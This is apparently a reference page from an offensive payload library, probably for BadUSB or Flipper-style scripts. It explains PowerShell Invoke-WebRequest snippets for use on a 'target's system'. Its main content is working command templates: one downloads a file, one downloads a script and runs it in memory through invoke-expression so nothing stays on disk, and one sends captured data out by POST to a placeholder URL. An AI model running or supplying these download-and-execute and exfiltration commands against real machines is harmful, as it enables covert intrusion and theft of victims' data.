Table of Contents
Appreciate UberGuidoZ for contributing to this function.
These functions are used to either download or upload files or data
This formatting of the IWR function will download a file from a selected URL and save it to the directory of your choosing
This is helpful if you are trying to save an image or sound file to use in your script
$env:TMP\
Use this environment variable to save the file to your Temp directory
$Env:USERPROFILE\Desktop\
Use this environment variable to save a file to your desktop
iwr < Your url for the intended file>?dl=1 -O $Env:USERPROFILE\Desktop\image.jpg
This formatting of the IWR function will download a file and execute it immedietely without saving it to memory
This is helpful if you are trying to download and execute a script without keeping it on the target's system
$pl = iwr < Your url for the intended file>?dl=1; invoke-expression $pl
This formatting of the IWR function will exfiltrate data via a DNS/POST
This is helpful if you are trying to exfiltrate the data you have captured
Request Catcher<-------Helpful website to test POST requests
iwr -Uri < Your url for posting the intended data> -Method POST -Body "text to upload"
Listed below are payloads that have used one of these functions:
